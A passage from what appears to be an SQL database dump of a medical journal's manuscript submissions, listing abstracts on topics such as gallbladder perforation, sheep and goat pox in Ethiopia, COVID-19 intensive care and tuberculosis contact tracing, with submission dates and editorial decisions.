mmHg. Fluid cytology showed negative for malignant cells and total leukocyte count of 17 x 109 /l. Abdominal ultrasound showed a huge thick-walled cystic area with internal echoes measuring 31cm x 19cm x 19 cm with total amount of fluid volume in the cyst was approximately 5 liters arising from right hypochondrium. On opening the abdomen, a huge cyst was encountered extending from epigastrium to pelvis with dense adhesions. Cyst was opened and fluid aspirated. Communication between cyst was found with gall bladder inn the epigastrium. Cyst wall was excised partially and cholecystectomy done. Patient was discharged on 5th post-operative day.\r\nCONCLUSION: The development of thick-walled huge cyst within abdominal cavity after gall bladder perforation is a rare entity specially when patient had gone through full term pregnancy in the presence of cyst.\r\n','Case Report, Gall bladder, Perforation, Cyst, Pregnancy, Fistula.',2505,NULL,'2020-11-16',NULL,'Submitted',2,NULL,'2020-12-15',NULL,1,1,'0','This manuscript is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(6680,3583,251,0,NULL,'Current status of sheep and goat pox in Ethiopia:mini Review',NULL,19,0,NULL,'Abstract\r\n\r\nEthiopia is endowed with large population of sheep and goats which supply milk, meat, and skin. Despite of these huge resource animal diseases is the major constraints that hinder the productivity. Sheep and goat pox disease is one of the major diseases caused by a genus of Capripox virus that cause detrimental effect on sheep and goat in many parts of the world. The objective of this review is to give insight on cucutorstors. Up on entry of virus into the host it replicates in local tissue and spread to different parts of the body as viremia causing pox lesions on skin (hair less area), lung, liver and kidney. Generally, in endemic areas the morbidity and mortality rate reaches 1-75% and 5-10% respectively. But, the disease is more sever in lambs, kids and exotic breed causing mortality rate up to 100%. In Ethiopia, the disease is distributed in all parts of the country causing significant economic losses in the form of decreased meat and milk yield, damage to skin, abortion, cause of death of animals, restriction of trade and genetic improvement of the animals. Diagnosis of the diseases is depends on clinical signs, laboratory confirmation and post mortem examinations. Since the disease has no effective treatment control measure depend on use of antibiotics for control of secondary bacterial complications, vaccination, limitation of animal movement and their products. But still control and eradication is challenging due to vaccine failure, nature of virus to undergo recombination and interspecies infection. Therefore awareness should be created on the husbandry and herd management to minimize interspecies infection and further study should be conducted at genetic level for detection of change in the genome and development of effective vaccine.','Capripox virus, Epidemiology, Ethiopia, Goat, Sheep, Sheep and goat pox and Vaccine',3944,NULL,'2020-11-16',NULL,'Submitted',4,NULL,'2020-11-30',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6681,7937,45,0,'iphsj-20-6681','Bacterial Profile, Antibiotic Susceptibility Patterns and Associated Factors among Orthopedic Infection Suspected Cases in Selected Health Facilities of Wolaita Sodo, Southern Ethiopia',NULL,14,2,'','Background: Orthopedic infection is related with significant morbidity and mortality. However, the problem is not well investigated in resource constrained settings. \r\nObjectives: This study is aimed at determining bacterial profile, antimicrobial susceptibility pattern and identifies associated factors among orthopedic infection.  \r\nMethod and materials: A cross-sectional study was conducted among 138 study participants visiting the selected Hospitals in Wolaita Sodo from February to May 2019. Socio-demographic and clinical data were collected using a structured questionnaire. Swabs were also collected and inoculated to blood and MacConkey gar. Bacterial identification was done by colony morphology, gram stain and standard biochemical tests. Antimicrobial susceptibility tests were done using Kirby Bauer disk diffusion technique. Data were entered and analyzed using SPSS statistical software version 22. \r\nResults: Swabs from 85 (61.6%) participants were culture positive. The prevalence of infection in trauma, surgical site infection, implant and hematogenous sources was 34.8%, 9.4% and 4.3% respectively. From 92 bacteria isolated, 48 (52.2%) were gram positives. Staphylococcus aureus and CoNS were the most frequent isolates among gram positives and while among gram negatives Klebsiella pneumonia 9 (9.8%) and Citrobacter diversus 6(6.5%) were the most frequent.  Majority of Gram-negatives showed resistance to the tested antibiotics. All the independent variables were not significantly associated with orthopedic infections. \r\nConclusion and Recommendation: - The most commonly isolated bacteria were S. aureus, CoNS and K. pneumonia. Efforts should be strengthened to minimize orthopedic infection due to S. aureus,   CoNS and K.  Pneumonia and further similar study is required.\r\n','Orthopedic infection, Bacterial profile, antimicrobial susceptibility pattern, associated factors, Ethiopia',3756,NULL,'2020-11-16',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6683,7939,959,0,'ipacr-20-6683','COPD exacerbations affect clinical outcome in advanced non small cell lung cancer: a retrospective analysis.',NULL,14,0,'','Background: Non small cell lung cancer is the leading cause of cancer death worldwide. The increasing life expectancy is due to the improvement in medical treatments including the target therapy, immunotherapy and the maintenance therapy.   COPD  is a disease often associated and it is characterized over the course by symptoms  exacerbations. Chronic Obstructive Pulmonary Disease (COPD) is widely accepted to be an indipendent risk factor for lung cancer.\r\nObjective: The aim of the present study was to determine the effects of  COPD exacerbations on the outcome of patients treated with cisplatin-pemetrexed in metastatic lung adenocarcinoma. The main endpoint was to detect the effects of COPD exacerbations on time to progression (TTP). The secondary endpoint was to highlight the effects of exacerbations on  treatment toxicity.\r\nMethods: 120 patients affected by COPD and adenocarcinoma IV stage wild type for EGFR mutation, were elegible for analysis. The inclusion criteria were ECOG PS 0-2, all treated with cisplatin-pemetrexed. Exclusion criteria included severe comorbidities and ECOG PS>2. The initial population was subdivided in two subgroups according to the presence (group 0) or absence of COPD exacerbations (group 1).\r\n\r\n	\r\nResults\r\nThe groups were homogeneous in terms of age, gender, staging, and smoking habit.\r\nThe exacerbations were defined as a changes in patients’ pulmonary symptoms necessitating antibiotics and/or oral steroids. A validated questionnaire called COPD assessment test (CAT) was performed to assess symptoms consisting of 8 items. The score ranges from 0 to 40 and the cutoff score indicative of exacerbation is 10.\r\nThe group of patients without COPD exacerbations (group 1) reported a better TTP (log-rank HR of 0.31; p<0.0001) compared with group 0. The TTP median value was longer in group 1 (8.2 vs 6.6 months), and the difference was statistically significant (p<0.0001).\r\nThe overall response rate was major in the group 1 compared with  the group 0: 45% vs 37% (p<0.001)\r\nToxicity events were similar in both groups, except for fatigue that was lower group 1 (p<0.0001).\r\nConclusions\r\nThe presence of COPD exacerbations influences the outcome in patients  treated for wild type lung adenocarcinoma, both in terms of TTP and in terms of response rate and toxicity.\r\n','',2817,NULL,'2020-11-16',NULL,'Submitted',4,NULL,'2020-12-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6684,7940,73,0,'ipjnn-20-6684','NEW ONSET OCULAR MYASTHENIA GRAVIS  AFTER PEMBROLIZUMAB THERAPY: A CASE REPORT',NULL,2,0,'','Immunotherapy is the most recent and promising discovery in the treatment of advanced cancers resistant to conventional chemotherapy. Pembrolizumab is an immune checkpoint inhibitor that was recently approved for non-small cell lung carcinoma, and like other immune checkpoint inhibitors its exact toxicity profile is still unknown. Neurologic immune-related adverse events are rare with an incidence of only less than 4% while severe events including myasthenia gravis have only been reported in less than 1%. We report a rare case of new onset ocular myasthenia gravis in a patient with advanced non-small cell lung carcinoma who became symptomatic after 4 cycles of Pembrolizumab. The diagnosis was established by clinical history, compatible single fiber electromyography findings, and initial response with oral Pyridostigmine. Resolution of neurologic symptoms was achieved after discontinuation of Pembrolizumab and treatment with oral Pyridostigmine. As the use of immunotherapy increases, it is imperative to have a high index of suspicion for neurologic immune-related adverse events because early detection and prompt treatment can reduce long-term morbidity and mortality.','Myasthenia Gravis, Immune Checkpoint Inhibitors, Pembrolizumab',334,NULL,'2020-11-17',NULL,'Submitted',4,NULL,'2021-02-04',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(6689,7945,86,0,'ipaom-20-6689','Prevalence of depression among hospital based Rheumatoid arthritis population and its associated factors ',NULL,14,0,'','Background Depression is of high prevalence among rheumatoid arthritis patients compromising the physical and psychological aspects of quality of life.It is highly associated with VIT D level   Patients and methods this study included 200 RA patients. (BDI) was used to detect depression. Disease activity was measured using disease activity score (DAS28) and Rheumatoid Arthritis Disease Activity Index (RADAI -5).The modified Health assessment questionnaire (MHAQ) was used for measuring disability. Rheumatoid Arthritis Quality of Life scale (RAQoL), Visual Analogue Score-pain (VAS-pain), and Fatigue severity scale (FSS) scores were calculated. Results The mean disease duration 6.75±4.32 years, 69.5% were females and 30.5 % males (F: M 2.27:1). Their mean DAS28 was 3.97±1.19 and MHAQ 1.27±0.63. The mean BDI II score was 21±12.61. 48.5%   of the patients had moderate depression 4.5% had severe depression. BDI II significantly correlated with erythrocyte sedimentation rate, C-reactive protein, DAS-28, MHAQ, RAQoL VAS-pain FSS and RADAI (p = 0.001). Conclusion Depression is highly prevalent among rheumatoid arthritis patients. Screening for depression periodically in RA should be included management protocols to avoid poor outcomes.','',4108,NULL,'2020-11-17',NULL,'Submitted',2,NULL,'2021-01-26',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(6695,7951,667,0,'iptb-20-6695','Cervical cystic lymphangioma: a case report',NULL,2,1,'rare case','   Cystic lymphangiomas are birth defects affecting the lymphatic system. These are rare benign dysembryoplastic lesions predominate in the region of the head and neck, more particularly in the posterior cervical triangle. They usually occur in childhood and are exceptional in adults. The diagnosis is evoked by the clinic (lateral-cervical swelling) and imaging (ultrasound and tomodensitometry), then confirmed by histology after surgery which forms the basis of treatment. We report a case of cervicothoracic cystic lymphangioma in a 45 subject with a review of the literature.','Cystic lymphangioma, neck, thorax.',4111,NULL,'2020-11-18',NULL,'Submitted',2,NULL,'2020-12-09',NULL,1,1,'1','accept the paper.',0,'','',NULL,0,0,0,NULL,0),(6700,7955,45,0,'iphsj-20-6700','Severe COVID-19 in intensive care and the role of invasive ventilation: a proportion meta-analysis',NULL,14,0,'','Objectives: Coronavirus Disease 2019 (COVID-19) is an emerging infectious pandemic, which has led to a worldwide public health emergency. The clinical spectrum of COVID-19 is varied, and has been explored in many studies. there is still a need to quantify the extent of the risk of developing the severe clinical manifestations of COVID-19 that require admission to intensive care unit (ICU)  and mechanical ventilation initiation .The present study aims to assess ICU admission among COVID-19 confirmed cases and those who required invasive mechanical ventilation. \r\nMethods: MEDLINE, Web of Science, and SCOPUS electronic databases were searched for epidemiological studies on confirmed cases of COVID-19 at the end of April 2020. Eligible articles that reported on admission to ICUs and mechanical ventilation were included.  A random-effects model was used to pool results. \r\nResults: A total of 23 articles reported on a total of 6124 confirmed COVID-19 cases. The majority of included articles were from China. The proportion of all hospitalized patients with confirmed COVID-19 who required ICU admission was between 0.01% to 53%, with the pooled proportion of 18% (95%CI 22,73%, I2 = 97.2%, p<0.001). The pooled proportion of ICU patients who had required invasive mechanical ventilation ranged from 4% to 94%, with the pooled estimate at 34% (95%CI 24 to 44%, I2 = 99%, p<0.001)\r\nConclusion: Around a fifth of patients with confirmed COVID-19 diagnoses required admission to the ICU, and at least a third of those cases needed invasive mechanical ventilation.  Still, there is a need for additional research with careful study design to identify the predictors and pathogenesis of severe cases. \r\n','COVID-19, Intensive care, Invasive ventilation, Meta-analysis.',388,NULL,'2020-11-19',NULL,'Submitted',16,NULL,'2020-11-23',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(6707,7962,86,0,'ipaom-20-6707','Comparative Assessment of Red Blood cell Morphology in Anaemic Children',NULL,14,0,'','Anaemia (haemoglobin level < 11 g/dl) is a health burden among preschool children and women of child bearing age and affects over 27% of the World population. Anaemia results from reduction in the functional haemoglobin or red blood cell numbers or mass leading to decreased oxygen carrying capacity characterized by clinical features such as; skin pallor, fatigue, shortness of breath, congestive heart failure, jaundice and tachycardia. Evaluating and interpreting red blood cell morphology provides key information in the differential diagnosis of Anaemia. However, the current standard peripheral thin blood method of assessing red blood cell morphology is highly technical and time consuming. There was need to carry out assessment into the alternative automated Complete Blood Count method to aid in the selection of the reliable assay. The objective of the study was to compare between peripheral blood thin film and Complete Blood Count morphologically classified Anaemia in children. The study was cross-sectional and employed simple random sampling technique. Blood samples were obtained from the participants, assessed for red blood cell morphology by Complete Blood Count and peripheral thin blood film. Data was analyzed using SPSS and a paired t-test used to test for the statistical significance. Results show no significant difference in the scores for peripheral thin blood film (M=25.5, SD=11.82) and Complete Blood Count (M=25.5, SD=12.66) t(3) =0.00, p =1.000. Automated Complete Blood Count is a method of choice in assessing red blood cell morphology and evaluating Anaemia. The study recommends assessment into various automated Complete Blood Count models available in the market to aid in the selection of most reliable one.   ','Anaemia, Red blood cell morphology, Assessment, Complete Blood Count, Peripheral thin blood film',712,NULL,'2020-11-20',NULL,'Submitted',2,NULL,'2021-01-11',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6710,7965,73,0,'ipjnn-20-6710','Is There Any Relation between Serum Levels of Interleukin-10 and Neuroelectrophysiologic Abnormalities in Bells Palsy?',NULL,14,0,'','Background: Bells palsy is the most common type of peripheral facial nerve palsy. The etiology and treatment of Bell\'s palsy is still a matter of controversy. Previous studies emphasize the role of herpes simplex and herpes zoster viruses in this ailment. The role of Interleukin-10 (IL-10) in Bell\'s palsy is yet unknown and few studies have shed light on the matter. This study was designed to assess the prognostic value of  IL-10 and its relation to the intensity of electrodiagnostic abnormalities in Bells palsy and to assess its possible use as a factor for assessing the need for medical or surgical interventions.\r\nMethods: 30 patients in the acute phase of Bell\'s palsy participated in this study. 5ml of peripheral blood was obtained within the first 72 hours of symptom onset (before commencing treatment. We implemented a nerve conduction study (NCS) 6 days after the onset of Bells palsy and also remeasured serum levels of Interleukin-10.\r\nFindings: There was no significant relationship between serum levels of Interleukin-10 and the severity of pathology in Orbicularis oculi and Orbicularis oris muscles. Also, serum levels of IL-10 did not show any meaningful relation to the age and gender of our participants or their symptoms.\r\nConclusion: The serum levels of IL-10 are not relevant to the pathology of Bells palsy, and the assessment of serum IL-10 levels cannot be applied as an alternative to the NCS of O. oris and O. oculi muscles for evaluating the severity of acute Bell\'s palsy.\r\n','Bells palsy, Interleukin-10, Nerve conduction study',335,NULL,'2020-11-20',NULL,'Submitted',4,NULL,'2021-03-02',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6731,7985,667,0,'iptb-20-6731','A descriptive study on contact tracing of Pulmonary Tuberculosis in Sri Lanka.',NULL,14,0,'','Abstract\r\n\r\nIntroduction: \r\nTuberculosis is worldwide public health problem. Though it was 50yrs since the discovery of effective treatment for TB, it has not been controlled. It continued to spread resistance among poor as well as affluent even in Sri Lanka. Treatment seeking behavior, management procedures and active contact tracing of PTB patients have the influence in controlling the disease.\r\nObjectives:\r\nTo determine effectiveness of contact tracing activities of PTB patient at Gampaha District.\r\nTo determine supportive behavior of PTB index patients to trace contact.\r\nMethodology:\r\nThis study was cross sectional descriptive study which was carried out by using interviewer administrated questionnaire to identify effectiveness of contact tracing, supportive behavior of PTB patient, and screening activity of contacts.\r\nLimitations:\r\nSum of the questionnaires is depended on PTB index patient’s recall memory. \r\nInterviewers were health care professionals therefore it is more likely that they tend to report standard answers other than actual answers. There was no allocation of money for staff and physical resources to conduct the study.\r\nResult:\r\nSocio demographic data of PTB index patients were found to have a mean age of 47.66 in males and 45.37 in females and range were given 11 years-70 years. 77 index people were married and 80% were educated below the ordinary level and 70% were employed and 63% PTB positive. According to this data majority of PTB index patients are economically productive age group sputum positive, low educated and employed.\r\nAbout 98% of PTB index patients were educated regarding contact tracing by health care workers. But health care workers have directly informed to the family members only. They have not informed index patients, coworkers and room-mates.\r\nOnly 40% family contacts were investigated for PTB, but none of them were positive. Below 5 years TB prophylactic treatments were started for 41% only.\r\n\r\n\r\nConclusion:  \r\nMost of the PTB patients were in poor social economic group and their religion and ethnicity were reflecting the district population.\r\nAll of the PTB patients have concerned only about their family members, none of them have informed co-workers and roommates. Health care workers were not done any effort to trace active contact tracing at work places. \r\nPTB prophylactic for below 5 years contact percentage was not satisfactory.\r\n Recommendation: \r\nThere should be a motivation programme to trace family contacts and coworkers contacts for health care workers. There should be a policy to trace contacts periodically. \r\nThere should be a collaboration programme with ministry of labor and ministry of health to trace work place contacts.\r\n\r\n','Pulmonary TB, Public Health ,Contact, Index patients ',3459,NULL,'2020-11-23',NULL,'Submitted',2,NULL,'2020-12-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6732,7985,667,0,'iptb-20-6732','A STUDY OF PLACENTALVASCULAR CHANGES IN PRE-ECLAMPSIA',NULL,14,0,NULL,'A','–Pre-eclampsia, Immune maladaptation, Pericyte, Immunohistochemistry, Micro Vascular density, Pericyte coverage Index, Vascular parameters',3575,NULL,'2020-11-23',NULL,'Submitted',4,NULL,'2021-01-02',NULL,1,1,'0','revise',0,NULL,NULL,NULL,0,0,0,NULL,0),(6737,7989,277,0,NULL,'COMPARISON OF 3 ANTI-PLA2R INMMUNOASSAYSFOR THE DIAGNOSIS OF IDIOPATHIC MEMBRANOUS NEPHROPATHY IN AN EUROPEAN POPULATION.A PILOT STUDY',NULL,10,0,'','Membranous nephropathy (MN) is one of the most frequent causes of nephrotic syndrome. Renal biopsy is nowadays the gold standard for the diagnosis of MN. The presence of circulating PLA2R antibody is a very specific tool for the diagnosis of this disease, especially  associated with primary or idiopathic MN (IMN), even though it can be also found in a small proportion of patients with secondary MN (SMN). This pilot study compares three different techniques for the detection of anti-PLA2R autoantibodies (immunofluorescence, ELISA immunoassay, and multiplex laser bead technology). Serum of 12 IMN and 9 SMN patients was obtained at diagnosis. Additionally, we employed serum samples of 15 healthy volunteers. From our patient cohort, we obtained a 7.75 RU/ml cut-off for the ELISA and 3104 MFI for the Luminex assays. The agreement between the three techniques improved considerably when applying the new cut-off points. As several authors have suggested, cut-offs may be calculated for each specific population instead of establishing global cut-off points. Patients with IMN showed significantly lower serum albumin levels and higher 24 h proteinuria compared to those with SMN. Analysis of ROC curves suggests that ELISA and LUMINEX assays are more useful than biochemical variables to differentiate patients with IMN and SMN. This pilot study contributes to confirming that the combination of ELISA and Luminex assays provide excellent sensitivity and specificity for the identification of IMN.','Primary membranous nephropathy, anti-PLA2R, immunoassays, ELISA, Luminex, Indirect Immunofluorescence.',2805,NULL,'2020-11-23',NULL,'Submitted',4,NULL,'2020-11-24',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6741,7993,971,0,'ipaclr-20-6741','Single strand conformation polymorphism: Principle and Troubleshoots',NULL,17,0,'','One of the common techniques used to identify unknown mutations is single strand conformation polymorphism (SSCP).SSCP is used frequently because the technique is simple, fast, sensitive and reproducible. It has been frequently reported that it is very easy to establish this technique with minimal infrastructure and expenditure. This short communication presents the basic principles of SSCP and possible troubleshoots of standardization of this technique in the lab.','single strand conformation polymorphism, PCR, Primer',3249,NULL,'2020-11-24',NULL,'Submitted',2,NULL,'2021-03-02',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6751,8004,45,0,'iphsj-20-6751','Left Ventricular Hypertrophy and its determinants among hypertensive patients attending a cardiac specialty Hospital',NULL,14,2,'','Introduction: Left ventricular hypertrophy (LVH) is one of the common and potentially modifiable cardiovascular risk factors among hypertensive clients in most of the Asian countries including Nepal. \r\nMethods: A hospital based, descriptive cross-sectional study was conducted to determine prevalence of left ventricular hypertrophy and its determinants among  215 hypertensive patients of Manmohan Cardiothoracic Vascular and Transplant Center’s Outpatient department.\r\nNon- probability purposive sampling technique was used. LVH was assessed using echocardiographic parameters available on records. An interview schedule consisting of semi-structured questionnaires was used to measure the risk factors of LVH. Data were analyzed using SPSS 20. Descriptive statistics such as frequency, percentage, mean, range and standard deviation were used. Chi-square were calculated to measure the association of Left Ventricular Hypertrophy with   selected variables. Bivariate and multivariate binary logistic regression were  used to identify the determinants of LVH.\r\nResults: It was found that the prevalence of LVH was 59.6% among the  respondents. LVH was statistically significantly associated with age (p=0.036, OR= 0.556), sex (p=0.001, OR =2.491), Body  Mass Index ( p=0.001, OR= 0.038, ) duration of smoking (p=0.03, OR= 0.098) Alcohol use (p=0.037, OR=1.821), dyslipidemia (p= 0.00,OR= 5.411). Multivariate analysis  showed that determinant of LVH was Body Mass Index  ( p=0.014, adjusted OR 0.171). \r\nConclusion: LVH was more common among hypertensive patients suggesting that the factors which are significantly associated with LVH need to be given more importance while planning health program among hypertensive patients as well as starting awareness program.\r\nKeyWords:, Determinants, Echocardiography, Hypertension, LVH, Risk factors\r\n',' Determinants, Echocardiography, Hypertension, LVH, Risk factors',3430,NULL,'2020-11-25',NULL,'Submitted',19,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6752,8006,91,0,'ijddr-20-6752','Serological and Biochemical Characterization of Dengue Viral Infection in Clinical Isolates, 2019 Study',NULL,14,0,'','Abstract: \r\nIntroduction- Dengue is a vector borne viral disease caused by dengue virus (DENV), transmitted to host with the help of vector(Aedes aegypti and Aedes albopictus).Materials and Methods- Serological and biochemical tests was done in laboratory for the determination of NS1 antigen, IgG and IgM antibody. Complete blood count was also done. Result- A total of 278 cases were carried, out of which 119 of dengue virus reactive cases were considered for the proposed study. Serological markers NS1 antigen, IgM and IgG were found reactive. Also dengue virus shows clinical relevance on platelets count and total leucocyte count.Conclusion- Dengue virus come as an epidemic every year. Due to dengue virus, platelets count and leucocyte count decreases drastically, also a bit affect on erythrocytes and hemoglobin.\r\n\r\n','Key words: Dengue viral infection, Flaviviridae, Erythrocytes, Leucocytes,Non structural protein 1(NS1),Immunoglobulins(Ig), Platelets , Morbidity , Mortality , Infection ,Hemoglobin,Viral disease. ',2428,NULL,'2020-11-25',NULL,'Submitted',4,NULL,'2021-01-21',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6755,8009,667,0,'iptb-20-6755','ORGAN ENGINEERING USING STEM CELLS',NULL,10,0,'','Aim – To manufacture organs & tissues artificially in a research lab using stem cells. Regenerative Medicine\r\n\r\nINTRO & PREFACE\r\nConvalescent specific substitution organs can be developed in a research facility. No downtime of years to unearth the suitable organ donor. Tens of thousands of patients pass away every year around the globe waiting for the right organ transplant which never becomes a reality. Organ donors are low in numbers and the perfect fit is even more difficult to find. Organ rejection rates are also high.\r\nTake an organ for specimen in this case a heart from a cadaver. Preferably, harvested within 6-8 hours after demise to circumvent any putrefaction. Heart is only considered for illustrative purposes in this write-up. Similar technique can be replicated to construct various other complex organoids & organs such as kidneys, liver, pancreas, stomach, intestine etc. in a lab. And also to develop tissues artificially such as cornea, bone, tendon, skin, pancreas islets, heart valves, nerves, veins etc. \r\n','',3774,NULL,'2020-11-25',NULL,'Submitted',4,NULL,'2021-11-30',NULL,1,1,'0','revise',0,'','',NULL,0,0,0,NULL,0),(6759,3876,45,0,'iphsj-20-6759','A Real Data-Driven Analytical Model for Testing for the Novel Coronavirus Disease, COVID-19',NULL,14,2,NULL,'To address the testing of the horrific pandemic disease that has terrified our global so- ciety, COVID-19, we have developed an analytical model that an individual can easily apply to determine if he or she tested positive or negative with a very high degree of accuracy. Our analytical model is real data-driven utilizing data obtained from the World Health Organization, WHO and the United State Center for Disease Control and Prevention, CDC guidelines. Both WHO and CDC have identified several symptoms or risk factors from individuals diagnosed with the disease, COVID-\r\n19.	They have identified and published nine symptoms that are associated with the disease, COVID-19. However, our structured analytical model identified only seven of the nine symptoms to statistically significantly contribute to the subject disease. They are fever, tiredness, dry cough, difficulty in breathing, sore throat, pain, and nasal congestion. Our analytical model was carefully developed, very well-validated, and statistically tested to achieve a 93% accuracy in the testing result. If a person is tested positive, we recommend that he/she seek medical evaluation and treatment. That is, once we receive the categorical data from a given individual, and we input into the proposed model, the output result will be the individual is tested positive or negative for COVID-19. The developed model identifies (estimated) the\r\ndifferent weights of each of the seven symptoms or risk factors that play a major role\r\n \r\n\r\n\r\nin the decision process of the testing results. Our findings seek to enhance testing efficiency, treatment, control, and prevention strategy for the COVID-19 disease.','Coronavirus Disease, COVID-19',4076,NULL,'2020-11-26',NULL,'Submitted',19,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,4,0,NULL,0),(6761,8016,45,0,'iphsj-20-6761','Prevalence of Anaemia in Muslim population',NULL,14,2,'','Anaemia is a majority nutritional problem across the globe, it develops due to lack in healthy red blood cells or haemoglobin. Prevalence of anaemia is higher among developing nations, because of low socioeconomic status. There is a significant relationship between anaemia and socioeconomic status, dietary modifications, nutritional supplementation, in addition compliance with consumption of iron and folic acid tablets. For this, study has been designed to study relationship between socioeconomic status and prevalence of anaemia among female Muslim population. Camp has been organised in Abul fazal enclave, Jamia Nagar, blood sample was collected from 105 Muslim female, which have low socioeconomic status. It has been found that 44.85 % had mild anaemia and 42 % had moderate anemia, which may be due to nutritional deficiency. Therefore there is a need for developing and implementing policies which improve and eliminate socioeconomic disparities which indirectly improves women health.','Anaemia, haemoglobin, socioeconomic status ',4076,NULL,'2020-11-26',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(6764,8021,86,0,'ipaom-20-6764','The Urology Checklist: Towards a structured consultant-led ward round',NULL,14,0,'','Abstract\r\nObjective\r\nFormulating a comprehensive, practical, and urology-focused ward round checklist to enhance safety, efficiency and clear documentation for the Urology ward team when reviewing in-patients.\r\nDesign	\r\nIdentification of important parameters which should be addressed in every patient interaction. FIASCO – VH was coined for ease:\r\n•	Fluid balance\r\n•	Investigations\r\n•	Intravenous access\r\n•	Antibiotics\r\n•	Analgesia\r\n•	Stool \r\n•	Catheter status\r\n•	Observations\r\n•	Venous thromboembolism (VTE) risk assessment\r\n•	Home and follow up. \r\nBaseline measurement followed by implementation of the checklist and completion of three plan-do-study-act (PDSA) cycles.\r\nSetting\r\nSingle-centre district general hospital within the United Kingdom\r\nParticipants\r\n279 ward round interactions with Urology inpatients\r\nIntervention\r\nImplementation of the ward round checklist\r\nMain outcome measures\r\nAdherence to parameters identified in the urology checklist\r\nResults \r\nStool (23.5%) and pain (30.6%) were worst assessed at baseline, with median 39.3% parameters assessed over all interactions. Significant improvement in assessed parameters after first (median 74.3%), second (median 84.0%), and third cycles (median 100%). These were associated with positive patient outcomes. There was discrepancy between factors verbally addressed and clinically documented (median 84.0% to 57.7% after second cycle). A dedicated third cycle reduced this gap (median 100% to 97%). 100% junior doctors surveyed believed the checklist has enabled addressing of factors which might have otherwise been missed. \r\nConclusions\r\nThe use of a comprehensive, urology-focused, easy-to-memorise ward round checklist is feasible and led to sustained, well-documented improvements in all measured aspects of patients’ care, and perceived level of care by the team.  \r\n\r\n','Urology\r\nward round\r\nsurgical audit',3195,NULL,'2020-11-26',NULL,'Submitted',2,NULL,'2020-12-18',NULL,1,1,'0','ACCEPT',0,'','',NULL,0,0,0,NULL,0),(6765,8022,667,0,'iptb-20-6765','miRNA as a Potential source for combating biotic & abiotic stress in plants and Cancer treatment in humans',NULL,14,0,'','MicroRNA belongs to the class of endogenous non coding RNAs, they modifies the expression of their target gene in both plants and animals. In this review, the potential of miRNAs are discussed to help the plants resist biotic and abiotic stress. We will also bring insight the application of miRNAs a potential tool to diagnose various level of cancer metastasis and an effective method for cancer treatment. These miRNA are target specific and are likely to regulate responses like plant-pathogen interaction, signaling pathways, metabolism, etc. in the plants. While their uneven expression and target regulation during the cancer makes them an effective source to work as biomarker. There are research where miRNAs were used along with nanoparticles to treat cancer and were found to be useful. This study will provide us with some evidence to demonstrate the molecular role of miRNA in plant to response against various stresses and differential expression of miRNA with their target gene regulation during cancer metastasis.','miRNA,cancer',3512,NULL,'2020-11-26',NULL,'Submitted',2,NULL,'2020-12-19',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(6769,8028,86,0,'ipaom-20-6769','Virtual Urology Clinics during the Covid19 Pandemic -The Lanarkshire Experience',NULL,11,0,'','The Covid-19 Pandemic has brought unprecedented challenges to the National Health Service (NHS) with the majority of the work force directed to providing emergency care to COVID19 patients. This meant that the majority of our elective work including outpatient clinics had to be suspended.\r\nIn this study, we looked at virtual clinics that were implemented by our department to cope with the above difficulties. We report our findings and experience and the type of cases that were ‘seen’ in these virtual clinics.','Urology, clinics, COVID-19',3195,NULL,'2020-11-27',NULL,'Submitted',2,NULL,'2020-12-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6770,8030,326,0,'IPJUS-20-6770','Impact of COVID-19 on emergency general surgical admission during the peak and patients’ reported satisfaction; a busy trauma centre experience in United Kingdom',NULL,2,0,'','AIM: To assess the impact of COVID-19 on emergency general surgical admissions in a busy trauma centre during the first peak in the United Kingdom (UK).\r\n\r\n \r\n\r\nMETHODS: Data was collected prospectively between March and April 2020 to compare with retrospectively collected data during an equivocal period in 2019. The main focus was the number of diagnostic computerized tomography (CT) scans and emergency surgeries performed during the COVID peak (Group A) as compared to a non-COVID period (Group B).  We attempted to contact all the patients who were admitted under the emergency general surgical team during the study period to record their satisfaction.\r\n\r\n \r\n\r\nRESULTS: The total number of patients admitted in Group A and Group B was 191 and 272, respectively. In Group A, 41% patients had a COVID-19 swab on admission and only 8% of them were positive. In Group A, a diagnostic CT abdomen-pelvis (AP) was performed for 74% of the patients compared to 47% in Group B (p=<0.05), however 48% of patients in Group A had a CT chest as well compared to 2% in Group B (p=<0.05). There was no significant difference in the total number of emergency surgeries performed in Group A and B (p=0.12). In Group A, 15% patients had de-functioning stoma for bowel obstruction as the main indication for surgery and only one patient with a positive COVID-19 swab died after surgery. Overall, 92% patients who responded to our survey were either satisfied or very satisfied with their outcome. \r\n\r\nCONCLUSION:  During the COVID-19 peak, a significantly higher number of patients had diagnostic CT CAP scans; however, there was no difference in emergency surgical intervention rate.','Surgery',2505,NULL,'2020-11-27',NULL,'Submitted',2,NULL,'2021-01-04',NULL,1,1,'0','This article is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(6775,8035,86,0,'ipaom-20-6775','Cardiovascular Disease Risk Assessment among Female Residents at the National Guard Residential City, Jeddah, Saudi Arabia',NULL,14,0,'','Objective: Cardiovascular disease (CVD) remains the major cause of global mortality. This\r\ncommunity-based study assessed CVD risk among females ≥ 30 years in Jeddah, Saudi Arabia.\r\nMethods: All women living in the National Guard Residential City (n = 616) received CVD screening and clinical and laboratory assessments from 1st of January to 30th of April 